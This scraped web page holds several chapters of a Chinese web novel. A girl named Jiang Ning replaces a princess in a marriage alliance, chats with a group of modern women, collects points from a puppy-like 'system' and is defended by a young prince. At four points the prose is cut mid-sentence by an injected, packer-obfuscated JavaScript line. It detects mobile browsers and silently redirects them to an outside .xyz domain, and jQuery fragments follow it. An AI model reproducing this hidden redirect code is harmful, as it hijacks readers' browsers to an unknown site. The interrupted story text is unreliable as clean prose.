她已经有点饿了,可是冬香和小雪递来糕点时,她却吃不下。大抵是因为心里有事,所以没有胃口。 半个多时辰后,姜柠进了宫,来到了大公主的宫殿——长乐宫。 这是大公主萧梦苒以前的居所,如今暂时给姜柠住,明日姜柠就要从这里出嫁。 记得有一回,姜柠因为戴了跟大公主一样的首饰,被罚跪在长乐宫门口。 那时正值酷暑,日头很毒,姜柠出了许多汗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146947|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身像是有蚂蚁在爬。 而大公主悠然地坐在殿内,吃着冰镇瓜果,还有四个侍女给她扇扇子。 从那时起,姜柠就知道,绝不能冲撞大公主,哪怕只是穿戴相近都不行。 可没想到,时移世易,现在自己竟然住进了长乐宫,而大公主萧梦苒,以后只能以姜柠的身份活着。 世事当真有趣得很。 姜柠靠在金丝软枕上,观察着殿内的陈设。墙上挂着几幅名家山水画,均是外面千金难求的珍品。窗帘用的是淮北进贡的香云纱,官宦人家的女眷拿来做衣服都有些舍不得。 姜柠忽然觉得,做公主也是有好处的,今晚权当住进了最高档的客房,还不用付钱。 这么想着,她心情好了许多。 宫人们送来丰盛的饭食,摆在黑酸枝木饭桌上,看着倒是赏心悦目。 送饭的嬷嬷道:“请大公主用膳吧。皇上和贵妃娘娘太忙,不能过来陪大公主了。贵妃娘娘有话交代:公主想要的东西,都已经给您了,您也该谨记自己身上的责任,不要出了岔子,以免让家人担忧。” 姜柠道:“是,我记下了。” 贵妃这话,很明显是敲打。她话中的家人,自然不是皇家人,而是姜家。若是姜柠没履行好和亲公主的责任,姜家便会受到牵连。 姜柠心情有些沉重,山珍海味吃到嘴里,也没品出什么滋味来。 吃过饭后,姜柠就安歇了。 贵妃派来的人都守在外面,姜柠的两个丫环在里面伺候。 姜柠想进夸夸群聊天,便让两个丫环去门口守着。 两个丫环离去后,姜柠打开群聊,见里面聊得热火朝天。 【樱桃小完犊子:谁懂啊,现在是晚上八点,我们领导给我们每人点了一杯冰美式!双倍浓度的!这是要我们加班到天亮啊!】 【你已被群主移出群聊:我提议,把你们领导踢出工作群!】 【樱桃小完犊子:踢不了,工作群群主就是领导23333】 【活人微死:樱桃热爱工作,值得夸奖!】 【有趣的灵魂一百多斤:想开点,虽然你要加班,但你得到了一杯免费的冰美式呀!】 【樱桃小完犊子:@有趣的灵魂一百多斤这美式给你你要不要?】 【有趣的灵魂一百多斤:我不要,我不爱吃苦。】 【感觉尸体暖暖的:哈哈哈哈】 【樱桃小完犊子:@有趣的灵魂一百多斤说什么不爱吃苦,其实你也被领导留下加班,但你们领导连冰美式都舍不得给你买吧?】 【有趣的灵魂一百多斤:@樱桃小完犊子你礼貌吗?举报了啊】 【回笼教教主:哈哈哈哈吃瓜】 【只涨工资不长肉:你们都有可以加班的工作,说明工作非常充实,生命充满了意义,简直太棒了!】 【樱桃小完犊子:2333你是资本家派来的救兵吗?】 姜柠不知道她们在聊什么,不过也很自然地加入了。 【姜柠:几位姐姐都没睡觉啊?】 5. 追赶(修) 【你已被群主移出群聊:睡不了一点,我还有几个PPT要做。】 【姜柠:这奇怪的符号是什么意思?群主姐姐能做出这奇怪的东西,必定是很有本事的。】 【你已被群主移出群聊:哈哈哈哈小姜柠真会聊天!】 【只涨工资不长肉:小姜柠已经深刻掌握了夸夸群的精髓。】 【樱桃小完犊子:小姜柠明天就要去和亲了啊?】 【姜柠:是啊。】 【感觉尸体暖暖的:小姜柠为了国家牺牲了自己的幸福,真是心怀大爱,令人景仰。】 【姜柠:其实我是被迫的。】 【回笼教教主:小姜柠别怕,要是心情不好了可以随时来聊天,虽然我们帮不上你什么忙,但至少可以关心关心你。】 【姜柠:谢谢各位姐姐,好感动。】 【你已被群主移出群聊:我决定了,我要为小姜柠逆天改命!】 【姜柠:逆天改命?原来群主姐姐是修仙者,真厉害。】 【只涨工资不长肉:噗。】 【活人微死:群主大人,姜柠的命运已经定好了,你怎么改?】 【你已被群主移出群聊:我不管,我就要改!】 【樱桃小完犊子:群主大人具有大无畏的勇气和博爱的精神,虽然智商不高,但仍值得我们学习。】 【你已被群主移出群聊:……】 【只涨工资不长肉:哈哈哈哈】 【活人微死:姜柠应该有个系统吧?系统有没有给你什么金手指?】 【姜柠:系统?就是那只小狗吗?它给了我一个夸夸群。】 【活人微死:……】 【感觉尸体暖暖的:……】 【你已被群主移出群聊:……】 【回笼教教主:鉴定此系统为——纯纯的废物。】 【只涨工资不长肉:你的意思是咱这个夸夸群没用吗?你这是连自己也骂进去了。】 【回笼教教主:sorry,一不小心说了实话。】 【姜柠:其实小狗跟我说,如果我攒够十万积分,就能改变命运了。】 【樱桃小完犊子:十万积分才能改命?鉴定此系统为纯纯的废物。】 【活人微死:哈哈哈哈我们这不是夸夸群吗?可以骂人吗?】 【樱桃小完犊子:怕什么,系统又不在群里。】 【有趣的灵魂一百多斤:等等,我忽然想到一件事。】 【樱桃小完犊子:什么事?】 【有趣的灵魂一百多斤:我们都太熟了,互夸起来像是在阴阳怪气。但是不夸,又不符合夸夸群的宗旨。】 【樱桃小完犊子:有道理。我提议,以后我们几个之间不互夸,只互相吐槽。我们集中精力夸小姜柠就可以了。】 【活人微死:臣附议。】 【你已被群主移出群聊:臣附议。】 【回笼教教主:臣附议。】 【感觉尸体暖暖的:臣附议。】 【姜柠:原来樱桃姐姐是异世界的皇帝,之前姜柠多有冒犯,还请恕罪。】 【樱桃小完犊子:嗯???你怎么得出我是皇帝的结论?】 【姜柠:您刚才说了几句话后,其他人都说“臣附议”,说明她们都是您的臣子。】 【樱桃小完犊子:噗,不是这样的,她们只是在玩梗。】 姜柠不懂什么是玩梗,她揣摩着,大概是玩笑的意思。聊得有些累了,她跟群里的人告了别,便睡觉了。 第二天天还没亮,她就被叫起来梳妆打扮。 她穿上了一身华丽的红色满绣嫁衣,戴上霞光锦祥云纹云肩,发冠由黄金和红珊瑚制成,两边垂下长长的流苏,在灯光的映照下,发出绚烂的光芒。 宫人给她梳了半翻髻,额间点缀花钿,看起来雍容大气,不再是以前的小姑娘模样,而是有了几分皇家气度。 由于和亲路上要走一个多月,今日并不需要化太好的妆,宫女们只给她化了淡妆,倒跟她清雅的气质很相宜。 腰间再系上由七彩丝线编织而成的宫绦,戴上一串墨玉环佩,手上再涂上鲜红的蔻丹,便打扮好了。 姜柠看着镜中的自己,尽态极妍,容光照人,倒比真正的大公主萧梦苒还要美上几分。 她心想,既然命运将她推上这条路,那她就要让这条路开满鲜花。 打扮完成后,姜柠被带到太和门外,辞别皇帝和贵妃。 本来这样的场合,应该皇后来。但是皇后已故去多年,这种重大的场合,默认是贵妃陪在皇帝身边。 贵妃看着即将替自己女儿去受罪的姜柠,心里很满意。 皇帝说了一些套话,无非是嘱咐姜柠要谨守礼法,侍奉好北胤皇帝,以两国百姓为念,顾全大局之类的话。 贵妃嘱咐道:“梦苒,你必须亲眼看见大皇子回来,才能离开南萧边境,前往北胤。” 姜柠现在的身份是大公主萧梦苒,所以贵妃如此称呼。 姜柠都一一应下,以手覆额,恭敬下拜,朗声道:“女儿拜别父皇母妃,愿父皇母妃贵体祥和,祉猷并茂,愿南萧国蒸蒸日上,国祚永延。” 接着,有一个穿着朱红色甲胄的少年大步走上前来,朝皇帝、贵妃行礼:“儿臣给父皇、贵妃娘娘请安。儿臣奉命护送大公主和亲,侍卫已集结完毕,随时可以出发。” 皇帝点头:“你务必保护好大公主,路上不要出了岔子。” “是。” 这穿着红色甲胄的少年,正是二皇子萧奕知。他年方十六,相貌清贵,身形瘦削,秉性柔和,端正中透露出一丝怯懦,看起来十分安分守己,甚至有些胆怯。 听闻他生母低微,不得宠,他在宫中也小心谨慎,只求安稳度日,如今一见,果然如此。 之前姜柠要求自己出嫁时要有皇子护送,皇帝便委派了二皇子来做这件差事。只因其他皇子年纪尚小,不适合出远门。而二皇子做事一向稳妥,且武艺不错,由他来护送再合适不过。 他看了姜柠一眼,姜柠对他露出友善的微笑。见到姜柠的笑容,二皇子似乎没那么紧绷了。 他来到姜柠身边,扶起了跪着的姜柠,道:“皇姐,走吧。” 由八十人组成的仪仗队先行开路,接着有二十名大内侍卫跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146948|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着仪仗队行走,而姜柠坐上马车,盖上红盖头,跟在仪仗队和侍卫后面,缓慢离开。 在她身后,二皇子骑着马,离她的车驾只有数尺距离,这样才能一直看顾到她。 在马车的另一侧,尚书令、中书令两位宰相也骑马跟随,各自带着数十位随从。 姜柠的车驾后面,还跟着十几辆马车,里面坐的是一些貌美的女子,她们会和姜柠一起去和亲,会嫁给北胤的臣子或宗室。 再往后,跟着一些工匠、大夫、学者、绣娘、农人等等。这些人也是一并要送给北胤的。 所谓和亲,为的绝不只是一个公主。一个女人便是再如何貌美、如何尊贵,要让两国息兵,都是不够分量的。 和亲公主带过去的人和东西,反而更重要。工匠可以把先进的制造技术教给他国;绣娘可以纺织;大夫可以为他国子民治病,还能促进医术界的交流;学者可以把本国文化传播到他国,还能教书、编写典籍;农人熟知农事,可以促进他国的农业生产。 在队伍的最后,是几百名士兵,他们运送着姜柠的嫁妆,还有献给北胤的财物、书籍、蔬菜种子、草药、绸缎等物,可谓是浩浩荡荡。 皇帝和贵妃看着和亲队伍离去,心中充满了期盼。他们期盼的,自然是大皇子归来。嫁的不是亲女儿,他们自然不会有什么离愁别绪。 而马车中的姜柠,此刻却想起了自己的家人。 没想到,自己出嫁的时候,家人都无法来送行。姜柠总觉得心里被什么东西牵绊住了,她舍不下,但又不能不舍。 她回头看去,却只能看见九重宫阙,宫墙深深,看不到自己的家。 队伍走了一阵,却有一人骑着快马,从前面跑过来,直接打乱了和亲队伍的队形。 可是不知为何,前面的仪仗队和侍卫都没有阻拦那人,反而让他跑到了姜柠的马车旁。 二皇子正准备阻拦,待看清那人的面目时,却愣住了:“你怎么来了?” 来人是一个略显稚气的英俊少年,身穿竹青色浮光锦长袍,玉雪可爱,风姿飘逸,长得与二皇子有三分相似,正是三皇子萧奕贺。 以前姜柠见过他几次,不过上一次见他是在半年前了。半年过去,他又长开了不少,比以前更秀气了。但此刻他秀眉微蹙,似乎不太高兴。 姜柠跟他算不得熟悉,不知他为何会前来。 只见三皇子拉住二皇子的手,道:“二皇兄,我刚刚游学归来,听说父皇让姜家小姐代替大皇姐去北胤和亲,便赶来看看。我本不相信此事,没想到坐在婚车上的果真是姜家小姐。” 三皇子看了姜柠一眼,眸中闪过几分同情和不忍。 二皇子低声道:“她不是姜家小姐,是大皇姐,你别乱说,小心被人听见。” 接着,二皇子一挥手,让附近的侍卫离远一些。这样,他们的对话就不会被人听见了。 三皇子似乎有几分为难,犹豫了一会,也低声说道:“大皇兄被北胤军队俘虏,若是送上厚礼,北胤也许便能放人,何必采取和亲之举?让大皇姐去和亲本已不妥,更何况如今是李代桃僵……姜小姐又做错了什么?” 6. 局势(修) 姜柠在车里,能听清他们在说什么。此刻她心中十分感动,没想到这个只见过几面的三皇子,竟会心疼她的遭遇,为她说话。 二皇子也朝姜柠看了一眼,又转头对三皇子说道:“三弟,此事不是我们能置喙的,和亲已成定局,你还是快快回宫吧,不要阻拦和亲车驾。否则,让父皇和贵妃知道了,你又要被责罚。” 三皇子却不愿意丢开不管:“我去向父皇进言,请求他收回成命。我想,姜小姐和那些陪嫁的女子必然是不愿意去国离乡的。” 二皇子却拽住了他的胳膊,严肃道:“你不能这么做,否则父皇会认为,你并不想让大皇兄回来。你知道这意味着什么。” 三皇子紧抿嘴唇,脸色泛白。他虽然才十四岁,但心思灵敏,自幼早慧,对时局也十分了解。 靳贵妃是最得宠的妃嫔,连带着她所生的大皇子、大公主也备受宠爱。如果不是因为靳贵妃出身低微,恐怕早就被立为皇后了。 而三皇子是皇后所生,也是如今宫中唯一的嫡子,可他并未被立为太子。且皇后已故去多年,三皇子的日子也十分艰难。 将来,这储君之位,立嫡还是立长,也难说得很。皇帝如今最看重、最亲近的是大皇子。对于三皇子,皇帝其实有几分防备心理,生怕三皇子生出夺嫡之心,对大皇子不利。 因此,三皇子虽外表活泼豁达,但内心小心谨慎,以免出错。只是,他毕竟年轻几岁,城府浅些,有时候会直抒胸臆,不顾后果。 三皇子也知道二皇子言之有理,如果自己去皇帝面前说一些阻止和亲的话,皇帝并不会认为他在心疼和亲女子,只会认为他不愿大皇子回国,跟他争夺储位。 三皇子皱了皱眉头,道:“二皇兄,你知道我并无此意……我不喜欢大皇兄,但也不至于不愿他回来。” 二皇子小声呵斥道:“你在说什么瞎话?大皇兄是兄弟中最年长的,我们做弟弟的,自然对大皇兄万分敬爱,哪有半分不喜?” 二皇子年长,更懂得明哲保身之道,即便在私底下,说话也是滴水不漏。在努力自保的前提下,他还能提点三皇子,不让三皇子出错,可以说是难得的善良了。 三皇子咬牙切齿地说:“二哥说得没错,我对大哥自然是万分敬爱。只是他若有本事,就别被俘虏啊,被俘虏了,又要用无辜女子去换他回来,简直厚颜无耻——” 三皇子还想继续往下说,二皇子干脆伸手捂住了他的嘴,三皇子只能发出“呜呜”的声音。 二皇子道:“如今不是你打抱不平的时候。这些年,父皇一直让你在外游学,不给你实际历练的机会,不让你参与朝政,你便该更加小心谨慎,不要触怒父皇。我奉旨送嫁,也耽误不得,我得走了,你且回宫去。” 三皇子有些不甘地摇了摇唇,低头半晌,然后才对二皇子说道:“好吧,我先走了……但是你们得走慢点,我一会还要回来的。” 二皇子道:“你回来做什么?” “我若求到了不再和亲的圣旨,自然会追上来宣旨。” “你……我刚才说这么多话,看来都是白费唇舌。” 二皇子颇为无奈地看了三皇子一眼,摇了摇头,可神色却颇为动容。也许,他觉得自己缺乏像三皇子这样的勇气和热血,可他的身份,注定了他不能有这份勇气。 三皇子好歹是中宫嫡子,虽生母已逝,但他背后有一定的势力。而二皇子的生母,只是个不得宠的美人,且还要在靳贵妃手底下讨生活。很多时候,二皇子所作所为都不能畅意,只能揣摩着皇帝和贵妃的意思来。 他望着三皇子远去的背影,长叹一声。不知是在为三皇子担忧,还是在为自己叹息。 而马车里的姜柠,借着盖头的掩饰,偷偷抹了抹眼泪。 得知自己要去和亲时她没哭,踏上和亲队伍时她还是没哭。 可刚才,她看到有一个少年不顾自身安危,也要为她求情,她心中十分感动。原来,除了家人之外,这世上还是有人在意她的。 哪怕她跟三皇子素来没什么瓜葛,可对三皇子来说,他助人的原则并不是利益,或是关系亲疏、感情远近,只要是他认为该做之事、该救之人,他就会义无反顾地去做、去帮。 这份古道热肠,世所罕见,出现在皇子身上尤为难得。姜柠心中为三皇子默默祈祷,只希望皇帝不要怪罪于他。 不过,姜柠知道,既定的剧情不可改,她和亲一事是无法转圜的,三皇子只怕是白费力气。无论如何,三皇子这份恩情,她记下了。 她在心中跟系统交流:“小狗,话本上有没有写,三皇子去求皇上阻止和亲后,发生了什么?” 小狗答道:“话本上没写这么多细节,关于你和亲一事,只用几句话带过了。话本的前半部分,着重在写你进入北胤之后,是如何被虐。和亲过程中的一些细节,我也是今日发生了才知道。 书中人物有自己的意志,会凭自己的想法做一些事情,但话本只会写一些要紧的事情,不会把每个人做的每件事都记录下来。” “原来如此……那三皇子的结局如何?” “好像死了,大概是死于夺嫡之争,具体怎么死的我不知道。” “那我能改变他的命运吗?” “好像可以,不过也要用积分来换。你自己的积分都未必够用,还是先别操心其他人了。” “好吧。” 姜柠想起,自己现在的积分还是零,看来得尽快做些好事了。 姜柠又问系统:“你有名字吗?总是叫你小狗,好像有点怪怪的。” “我叫多宝,你可以这么叫。” “多宝?是个好名字。你是怎么来到我们这个世界的?” “我是被造出来的系统,我原先所在的世界科技发达,系统也有很多。我属于初级系统,必须拯救一百个虐文女主,才能升级。升级失败的话会被淘汰,那我就彻底不存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146949|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了。你是我选中的第一个帮助对象。” “原来如此。” 系统说的话,虽然有一些生僻词,但大概意思姜柠能明白。 走了一阵之后,忽然下起雨来,送亲队伍的速度就慢了下来。姜柠在马车中,自然不怕。 但她们所携带的箱子却是淋不得雨的,否则有些东西会损坏。因此,他们暂时找了个驿站避雨,箱子也都抬到了屋里或是廊下,等雨停了再走。 冬香和小雪倒了点热水给姜柠喝。如今正是春寒料峭的时候,一下雨,气温就更低了。 冬香和小雪用能保温的水壶和食盒装了热水和食物,方便姜柠随时吃到,且不会受寒。 她们从食盒里拿出银耳汤、红枣馒头等食物,姜柠吃的时候,还是热的。 而那些将士和工匠们,就没有这么好的待遇了。他们只能三三两两地站在一边,吃点干粮,就着凉水。 姜柠问冬香:“我们带了生姜和红枣吗?刚才大家都淋了雨,正好驿站里有厨房,可以煮一些姜枣茶来,给大家驱驱寒。” 冬香道:“生姜带了一些,大概有五六斤,预备着给公主用的。此外,贡品的箱子里有一些沙姜,是要献给北胤的良种,这个我们不能动。红枣在嫁妆箱子里有,其中一个箱子里装的便是。 只是,若要给这么多人煮姜枣茶,恐怕要消耗掉我们带的所有生姜,红枣也要用掉半箱左右。您还没到北胤,就要动用嫁妆了吗?” 姜柠道:“无妨,带了东西就是要使用的,只管藏着做什么?只是一些生姜、红枣,并不是什么了不得的东西,用完了还可以再买。你和小雪去煮姜枣茶吧。” “是。” 姜柠还有句话没说:她也不知道自己还能活多久,倒不如趁活着的时候,把自己有的东西消耗掉,反正死了也带不走。 生姜是两个丫环自带的,并不算在嫁妆里,而是放在马车底部的暗格里,冬香去取了出来。 至于红枣,就由小雪拿了钥匙,打开装红枣的嫁妆箱子,取出许多来,一并拿到厨房。 两个丫环将姜枣茶煮好后,让将士、工匠、农人等人分着喝了,大家都十分感激姜柠,纷纷说道:“多谢大公主体恤。”“大公主真是个好人。” 冬香悄悄对姜柠说道:“小姐,明明做好事的是你,但名声都让大公主得了,真不公平。” 姜柠道:“我如今便是大公主,他们感激大公主也没什么问题。只要身份不换回来,将来我所得的人心,自然还为我所用。” 冬香点头:“小姐……公主说的是。” 这时,姜柠听见系统在她脑海里说道:“姜柠小姐,你用自己的嫁妆给将士们煮了姜茶,获得二百积分。” “太好了,谢谢。” 众人又等了一会,雨停了。他们正准备继续赶路,忽然听见门外传来哒哒的马蹄声。 没过多久,一个浑身是血的人骑着马闯进了驿站。 7. 挨打(修) 卫士们刚要阻拦,待看清他的脸时,纷纷惊得下跪:“拜见三皇子殿下!” 来的正是三皇子。他一脸愤愤不平,身上全是血,像是刚挨了鞭刑,还来不及换衣服。 三皇子下了马,也没看这些下跪的卫士,道:“我找大公主和二皇子。” 卫士道:“公主殿下在客厅休息,二皇子在西边草地喂马。” 姜柠早已听见外面的动静,往窗外看去,便看见三皇子一脸狼狈地走了过来。他身上血迹斑斑,又淋了一路的雨,看起来脸色惨白,十分虚弱。 二皇子得知三皇子到来,也往这边赶,刚好接到三皇子。他想去扶三皇子,三皇子却摆了摆手,示意不用他扶,直接走进了客厅。 二皇子也走了进来,关上门窗,让侍卫们到稍远的地方守着。 接着,他有些心疼地看着三皇子,道:“怎么搞成这样?是父皇打的?” 三皇子讽刺一笑:“我请求他不要派人和亲,陈述了和亲的种种弊端,换来一顿鞭子。” 二皇子又是忧心,又是无奈,道:“我早就说让你别去说这事,你偏不听。既挨了打,为何不在府里好生养着,反倒长途奔驰,一点也不顾着自己的身体。” 三皇子虽因受伤而气息较弱,但一双眼睛却是亮晶晶的,充满了诚挚。他认真地看着姜柠,道:“我过来,是想亲自告诉姜姑娘一句话。” 姜柠道:“什么?三皇子请说。” 三皇子握紧拳头,似乎下了某种决心:“我想跟姜姑娘说,只要我活着,一定想办法让你和其他陪嫁的姑娘回来。你去了北胤,若受委屈,暂且忍耐。留得青山在,不怕没柴烧。我一定不会忘记这件事,不会忘了你们。除非我死——” 姜柠赶紧说道:“三皇子别乱说,您一定会长命百岁的……” 姜柠一边流泪,一边取出伤药来,亲自给三皇子上药。 她突然明白,为何在话本里,她无论受到怎样的虐待,都能坚持下去,直到被北胤皇帝杀死。 也许,就是因为有三皇子的这番话,让姜柠一直心怀希望,不愿放弃。可惜,最后三皇子死了,姜柠的希望也破灭了。没过多久,她就被杀了祭旗。 姜柠给三皇子上了药,又对他深深下拜:“三皇子的话,我记住了。三皇子的盛情,姜柠铭感于心。以后,不论遇到什么困难,我都会坚持下去,等您来接我。” 她们深深对望了一眼。这一眼,无关风月,而是两个灵魂之间的承诺,是故国与子民之间的牵绊。对姜柠来说,此刻三皇子代表着她的国家。三皇子承诺不放弃她,那便是故国不曾放弃她,会在合适的时机迎她回来。 对三皇子来说,姜柠不仅仅是个普通女孩,她代表的是南萧国的尊严和完整。而他身为皇室子弟,有责任维护国家尊严。 姜柠觉得,三皇子比皇帝、其他皇室宗亲都有担当得多,她也更希望将来三皇子能继承大统。可惜,既定的命运不可更改,将来她若有多余的积分,能挽回三皇子的性命就已经不错了,没法奢求其他。 姜柠对三皇子道:“您一路远来,淋了雨,喝碗姜汤吧。” 接着,姜柠吩咐冬香去厨房盛一碗姜汤出来。 三皇子笑道:“放两颗蜜饯,不然太辣了,我喝不惯。” 这会,三皇子倒是挺像个小孩,姜柠笑了笑,从怀中取出一包蜜饯。这是她前两天买的,预备着路上解馋。 她拿了两颗蜜饯,放进三皇子那碗姜汤里,看着他喝了下去,这才放下心来。 喝完后,三皇子又拿了一颗蜜饯,在嘴里嚼个不停。 二皇子道:“你伤成这样,倒有心思吃东西。” 三皇子道:“父皇又不曾打我嘴,我为何会吃不下东西?” 姜柠和二皇子都笑了。 姜柠道:“我们不能再耽搁了,得走了。三皇子,您受伤了,不如就在驿站养伤,等好了再离开。” 三皇子道:“一点皮外伤,不碍事。我跟二皇兄一起送你到边境。” 二皇子严肃道:“这可使不得。边境风沙大,气候干燥,你又受了严重的外伤,不适合长途跋涉。你还是赶紧回去养伤吧。” 好说歹说,终于把三皇子给劝走了。 三皇子临走前,还郑重地叮嘱姜柠:“姜小姐……不,姐姐,你一定要保重。无论发生什么事,以保住性命为上,其他都不重要。哪怕侍奉过北胤皇帝,等我接你回来,照样给你找个如意郎君。他要是敢嫌弃你,我就打到他跪地求饶。” 姜柠听得又想哭,又想笑,十分感动。没想到,他小小年纪,还能考虑到这些。这世道对女子总是苛刻的,需要女子和亲时,就夸她大义;可若真的被接回来,就不太可能找到好亲事了,因为人人都知道她服侍过别的男人。 可三皇子连这一层难处都想到了,还保证替她解决,她怎能不感动?虽说她以后可能不会再嫁了,但眼下没必要解释这么多。 她对三皇子说道:“三皇子放心吧,我会保重的。以后的事以后再说,三皇子在南萧,也要谨慎为上,万不可冲动行事。” 姜柠突然想到,三皇子会不会是为了接她回来,才参与夺嫡之争,最后惨死?如果是这样,那自己就间接导致了他的死。 于是,她在心里问系统这件事。 系统说道:“其实三皇子死因不明,话本里只提到他死于夺嫡之争,没有过多的笔墨去描述他。你不用忧虑,他的死是话本里写明了的,就算不是为了你,他也会卷入夺嫡之争,最后死去,这是剧情杀,跟你没关系。” “我要多少积分才能救他?” “不太清楚,可能要五千积分吧。现在剧情还没进行到那一步,我也不知道要用什么方式去救他、有没有条件去救。你先别担心他了,反正还有两年多时间他才死呢,到时候就知道了。” 虽然系统这样劝慰姜柠,但姜柠还是有些担忧。只不过她把这份担忧深深埋在心里。 真心为她着想的人,她不会忘记。若有可能,她拼尽全力也要去救。 三皇子是少年心性,不愿好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146950|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在驿站待着养伤,而是继续骑马回京城了。 姜柠和二皇子继续出发,往北胤的方向而去。 一路上都没再发生什么事。 众人星夜兼程,赶路一个多月,终于到了边境。 南萧和北胤交界处的容城,此刻已被北胤占领。 和亲队伍便进入了容城附近的一个小城——栾伊城。 栾伊城原住人口大约一万人,原先镇守边关的将军任平宣自从丢失了容城后,就带着残余部队两万人退守栾伊城。将士们在这里修筑城墙,加固堡垒,看着倒也像模像样。 只是栾伊城原本面积就不大,又住进来几万军士,已经很挤了。这会和亲队伍到了,总人数约有一千多人,任将军指挥将士们将官衙收拾出来,给姜柠、二皇子等人居住。城中的客栈原本住着一些军官,如今也把客栈暂时让出来,给和亲队伍居住,任将军和军官们会去百姓家中挤一挤。 得知任将军的安排,姜柠有些过意不去,说道:“有劳任将军了。等北胤使臣来接,送亲之人便会回去,你们便可以继续住在官衙和客栈了。” 任将军赶紧行礼,道:“公主降临栾伊城,是末将之幸。若有招待不周之处,公主尽管说明,末将会竭力弥补。” “不用了,我也只是暂居栾伊城,没几日便会离开。且将士们作战辛苦,如今应该好好休养,不宜劳累。我身边有许多仆从,我有她们照顾就足够了。” “是。” 任将军和身边的亲卫们,都有些纳罕。本来听说大公主飞扬跋扈,颐指气使,没想到如今一见,竟是如此温和有礼,体恤下情,看来传闻未必真实。他们自然不知道,所谓的大公主已经换人了。 姜柠来到官衙的客房,见此处虽小,陈设简单,倒也干净雅致,窗台上还摆着花瓶,显然是精心布置过的。 姜柠觉得很满意,在这里安顿了下来。冬香在屋子里伺候,小雪守在外面。其余人等各自去住所安顿,二皇子则住在姜柠隔壁,这样方便随时照看姜柠。 冬香一边给姜柠整理床铺,一边问道:“公主,我们要在这里等多久?” “不知道,得等北胤那边的消息。” “奴婢希望他们快点来,但又觉得慢点来比较好……唉,心情矛盾得很。” 姜柠道:“我明白。你希望他们快点来,这样我们就能早日完成和亲任务。但你又怕入了北胤之后会有危险,所以希望晚点去。” “就是这样……奴婢有些担心。” “冬香,你放心,我一定会保住自己、保住你们的。” “嗯,奴婢相信公主。” 现在房中只有姜柠和冬香,姜柠想着,关于和亲日期的事,不如问问系统。 于是,她在心里呼唤系统,小狗的身形显现出来。 平时她不进夸夸群时,眼前就只有这只小狗,她可以直接跟小狗说话。如果她进了夸夸群,就只能在心里跟小狗说话了。 姜柠小声问道:“多宝,你知道我们什么时候会进入北胤吗?” 8. 怠慢(修) “让我想想……好像是八月十五号。” “八月十五号?那岂不是要等上一个月左右?” 小狗道:“具体因为什么原因延误了,我也不清楚,反正话本上只写了你进入北胤的时间是八月十五号,中间发生了什么都没写。也许,是因为和亲也算是正经婚事,需要筹备吧。” “筹备婚礼自然是等我进了北胤皇城后再进行,现在只是把我接过去,按理说不该延误,应该越快越好。除非,北胤想给我们一个下马威。毕竟是我们求着他们放人,而非他们上赶着娶我。看来,我只能忍受他们的轻慢了。” 姜柠知道既定剧情不可更改,也只能接受。 系统安慰道:“也未必是怠慢,也许北胤军队那边因为什么事耽搁了,别想太多。反正你最后都会平安进入北胤,在等待的时间,就好好玩吧。栾伊城虽然没什么风景名胜,但出去感受一下边陲小镇的风光也挺好的。” 姜柠知道系统只是在说一些安慰的话,但她也不想继续悲伤下去。反正来都来了,还能回去咋地?倒不如既来之,则安之。 她换下了厚重的婚服,穿上一身暗青色窄袖常服,配一件浅杏色花团比甲,发髻也梳成了普通的双丫髻,头上不戴首饰,只戴了一朵浅绿色的小花。 这样的装扮,再寻常不过,在这个小城里逛逛倒也不显眼。 她带上冬香、小雪二人,打算出门闲逛。二皇子得知后,派了四名暗卫跟随。 由于容城失守,栾伊城成了直面北胤的关隘,本就不繁荣的小城如今显得越发萧条。街上的铺面有一大半都关着,百姓们大部分都躲在家里,一方面是为了避祸,另一方面是他们家里都住了士兵,需要照顾好士兵们。 虽然任将军治下的士兵都军纪严明,不会欺负百姓,但对于此地百姓来说,这些士兵是保住栾伊城的希望,因此他们都自发地厚待士兵们。 士兵们也不白吃白住,会帮百姓们干活。 